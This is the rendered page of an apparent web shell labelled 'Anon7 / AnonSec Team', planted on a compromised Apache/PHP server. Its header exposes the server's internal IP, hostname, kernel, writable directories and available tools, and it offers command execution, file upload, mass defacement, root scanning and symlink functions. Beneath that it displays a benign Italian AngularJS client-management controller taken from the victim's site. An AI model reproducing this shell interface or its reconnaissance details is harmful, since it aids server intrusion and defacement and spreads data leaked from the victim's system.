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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/www/components/partner/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/www/components/partner/js/_clienti-insert.js
scopeclienteinsertctrl = ''

materialAdmin


//=================================================
// Controller Inserimento e modifica Clienti
//=================================================
.controller('clienteInsertCtrl', function($filter, $sce, $scope, ngTableParams, tableService, APIService, animationService, documentale) {
    scopeclienteinsertctrl = this;
    this.animationService = animationService;
    $scope.sw = true;

    $scope.getPadre = function() {
        return $scope.$parent.padre;
    }
    $scope.$parent.$watchCollection('clientetemp', function(newNames) {
         $scope.x = $scope.isjson(JSON.stringify($scope.$parent.clientetemp));

        if ($scope.x) {
            $scope.clienteinsertctrl.clienteInsert = JSON.parse(JSON.stringify($scope.x));
        }
    });

    $scope.isjson = function(data) {
        if (data != null && data != undefined) {
            try {
                var parsedData = JSON.parse(data);
                return parsedData;
            } catch (e) {
                return false;
            }
        }
    }

    $scope.scaricaFile = function(filename,id){
            APIService.async({
                "method": "getfiles3",
                "filename": filename,
                "tipo": "clienti",
                "id": id
            }).then(
                function(adata) {
                    if(adata.status){
                        growlService.growl('Download del file avviato!', 'info');
                        var a = document.createElement("a");
                        document.body.appendChild(a);
                        a.href = adata.message;
                        a.setAttribute("download","true");
                        a.click();

                        document.body.removeChild(a);
                    }else{
                        growlService.growl('Non è stato possibile recuperare il file!', 'danger');
                    }

                  
                }
            );
        }


 this.svuotaCliente =function()
 {
     $scope.clienteinsertctrl.clienteInsert = {
        'idcliente': '',
        'ragionesociale': '',
        'indirizzo': '',
        'citta': '',
        'cellulare': '',
        'piva': '',
        'codicefiscale': '',
        'telefono': '',
        'email': '',
        'note': '',
        'sede': '',
        'cap': '',
        'standardpagamento': '',
        'iban': '',
        'iva': '',
        'tags': ''

    };
}
this.svuotaCliente();
    //questa funzione fixa il problema delle chiavi con spazi o caratteri speciali nell'ordinamento delle tabelle
    //utile per le alias colonne es. Numero Chiamante

    $scope.rawProperty = function(key) {
        return function(item) {
            if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
                return item[key]['sec'];
            }
            return item[key];
        };
    };

    this.reset = function() {
        debugger;
        if ($scope.$parent.pratctrl)
            $scope.$parent.pratctrl.switchcliente();
        else if ($scope.$parent.clientectrl)
            if ($scope.$parent.clientectrl.editCliente === 1)
                $scope.$parent.clientectrl.switcheditcliente();
            else
        if ($scope.$parent.clientectrl.newCliente === 1)
            $scope.$parent.clientectrl.switchcliente();

    }


    this.getStandarPagamento = function() {
        APIService.async({
            "method": "getstandarpagamento"
        }).then(
            function(adata) {
                if (adata.status) {
                    debugger;
                    $scope.clienteinsertctrl.standardpagamento = adata.message;
                } else {
                    $scope.clienteinsertctrl.standardpagamento = [];
                }
            }
        );
    }


    this.getCitta = function() {
        APIService.async({
            "method": "getcitta"
        }).then(
            function(adata) {
                if (adata.status) {
                    debugger;
                    $scope.clienteinsertctrl.comuni = adata.message;
                } else {
                    $scope.clienteinsertctrl.comuni = [];
                }
            }
        );
    }
 

    this.modificaCliente = function(adatesi) {
        debugger;
        var controlli=1;
        var dati = angular.copy(adatesi);
        if(dati){
            if(dati.ragionesociale)
                {
                    if(dati.ragionesociale.length<4 || dati.ragionesociale=='' ) 
                        controlli=0;
                }
            else controlli=0;
        }
        else
            controlli=0;
        if(controlli==1)
        {   for(y in dati)
                {var swbr=false;
                    if(dati[y]!=$scope.x[y])
                    {
                        if(y=='tags')
                        {   if(dati[y].length!=$scope.x[y].lenght)
                            {
                                controlli=1;swbr=true;
                            }
                            else{
                                var p=dati[y];
                                for(z in p )

                                {   var  l="",s="";var sw=false;
                                    if($scope.x[y][z]) 
                                        { 
                                            l = $scope.x[y][z].text; 
                                            sw=true;
                                        }
                                    
                                    if(p[z] && sw) 
                                    {   s=p[z].text;
                                        if(s!=l)
                                        {   
                                            controlli=1; break;
                                        }
                                        else controlli=2;
                                    }
                                    else if(p[z] && !sw) 
                                        {controlli=1;break;swbr=true;}
                                    
                                }
                            }
                        }
                        else
                        {    controlli =1; break;
                        }
                    }
                    else controlli=2;
                    if(swbr) break;
                } 
            }
        
        if($scope.uploader.queue.length>0){
            controlli =1;
        }

        if("datanascita" in dati  && dati.datanascita && dati['datanascita'].split("-")[0].length==2){
            dati['datanascita'] = moment(dati['datanascita']).format("YYYY-MM-DD");
        } 
        
        if(controlli===1){
            dati.method = "editcliente";
            debugger;
            APIService.async(dati).then(function(adati) {
                if (adati.status) {
                    debugger;
                        
                        $scope.clientectrl.getData();
                        scopeclienteinsertctrl.svuotaCliente();
                    
                    
                    if($scope.uploader.queue.length > 0){
                        swal("Informazione", "Il cliente è stato modificato con successo! Non aggiarnare la pagina, caricamento files in corso...", "success")
                        $scope.uploader.url = './API/index.php?method=putfiles3&id='+$scope.id_cliente+'&tipo=clienti';
                        $scope.uploader.caricaFile("clienti", $scope.id_cliente);
                    }else{
                        swal("Informazione", "Il cliente è stato modificato con successo", "success");
                    }

                    $scope.clientectrl.editCliente=0;
                } else {
                    $scope.clientectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }
        else if (controlli==2) swal("Oops...", "Non è stata rilevata nessuna modifica", "error");
        else swal("Oops...", "Campi obbligatori: Ragione Sociale", "error");
    }




    this.submitCliente = function() {
        debugger;
        var controlli=1;
        var fn = [];
        try{
            if("$root" in $scope && $scope.$root && "qqq" in $scope.$root && $scope.root.qqq){
                    for (var i = 0; i < $scope.$root.qqq.length; i++) {
                        fn.push($scope.$root.qqq[i].name);
                    }
            }
        }catch(e){}
        this.clienteInsert.filesname = JSON.stringify(fn);


        this.clienteInsert.method = "insertcliente";
        if(this.clienteInsert){

            if(!this.clienteInsert.ragionesociale ){
                controlli=0;
            }

            if(!this.clienteInsert.citta){
                if (this.selezione === undefined) {
                    this.clienteInsert.citta = "non definito";
                } else {
                    this.clienteInsert.citta = this.selezione.nome_comune;
                }
            }

            if (this.selezioneStandardPagamento === undefined) {
                this.clienteInsert.standardpagamento = "non definito";
            } else {
                this.clienteInsert.standardpagamento = this.selezioneStandardPagamento.nome;
            }
        }else{
            controlli=0;
        }

        

    if(controlli==1){
        
        APIService.async(this.clienteInsert).then(function(adata) {

            if ("status" in adata && adata.status) {
                for (x in $scope.clienteinsertctrl.clienteInsert) {
                    $scope.clienteinsertctrl.clienteInsert[x] = "";
                    //solo per pagina clienti ricarico i dati
                }
                $scope.clienteinsertctrl.clienteInsert = {
                    'idcliente': '',
                    'ragionesociale': '',
                    'indirizzo': '',
                    'citta': '',
                    'cellulare': '',
                    'piva': '',
                    'codicefiscale': '',
                    'telefono': '',
                    'email': '',
                    'note': '',
                    'sede': '',
                    'cap': '',
                    'standardpagamento': '',
                    'iban': '',
                    'iva': '',
                    'tags': ''
                };
                

                //svuoto gli ng-autocomplete
                $scope.clienteinsertctrl.selezioneStandardPagamento = undefined;
                $scope.clienteinsertctrl.selezione = undefined;
               

                if($scope.uploader.queue.length > 0){
                    swal("Informazione", "Il cliente è stato creato con successo, le credenziali verranno inviate via email! Non aggiarnare la pagina, caricamento files in corso...", "success")
                    $scope.uploader.caricaFile("clienti", adata.message);
                }else{
                    swal("Informazione", "Il cliente è stato creato con successo, le credenziali verranno inviate via email!", "success");
                }

                if ($scope.clientectrl) {
                    $scope.clientectrl.getData();
                    $scope.clientectrl.switchcliente();
                    this.clienteInsert={};
                }
                else if ($scope.pratctrl)
                {   $scope.pratctrl.getData();
                    $scope.pratctrl.switchcliente();
                    
                    
                }

            } else {
                $scope.clienteinsertctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
            }
        });
    }
    else
    {
          $scope.clienteinsertctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Oops... Campi obbligatori: Ragione Sociale!");
        $scope.gotoBottom();}
    }


    

    this.getCitta();
    this.getStandarPagamento();

    $scope.cancellaFiles = function(id, tipo, file){
        swal({
            title: "Sei sicuro di voler cancellare questo file ?",
            text: "NB. il file non sarà più recuperabile",
            type: "warning",
            showCancelButton: true,
            confirmButtonColor: "#DD6B55",
            confirmButtonText: "Conferma",
            closeOnConfirm: true
        }, function() {
            var toSend = {
                "tipo":     tipo,
                "id":       id,
                "method":   "deletefiles3",
                "nomefile": file.split("/")[file.split("/").length-1]
            }

            APIService.async(toSend).then(function(adata) {
                if(adata.status){
                    console.log(adata);
                    swal("Info",'Il file è stato cancellato.',"success");
                    $scope.risultati=adata.message;
                }else{
                    swal("Attenzione!", "Errore interno del server!", "error"); 
                    
                }
            });

        });         
    }

})

Anon7 - 2022
AnonSec Team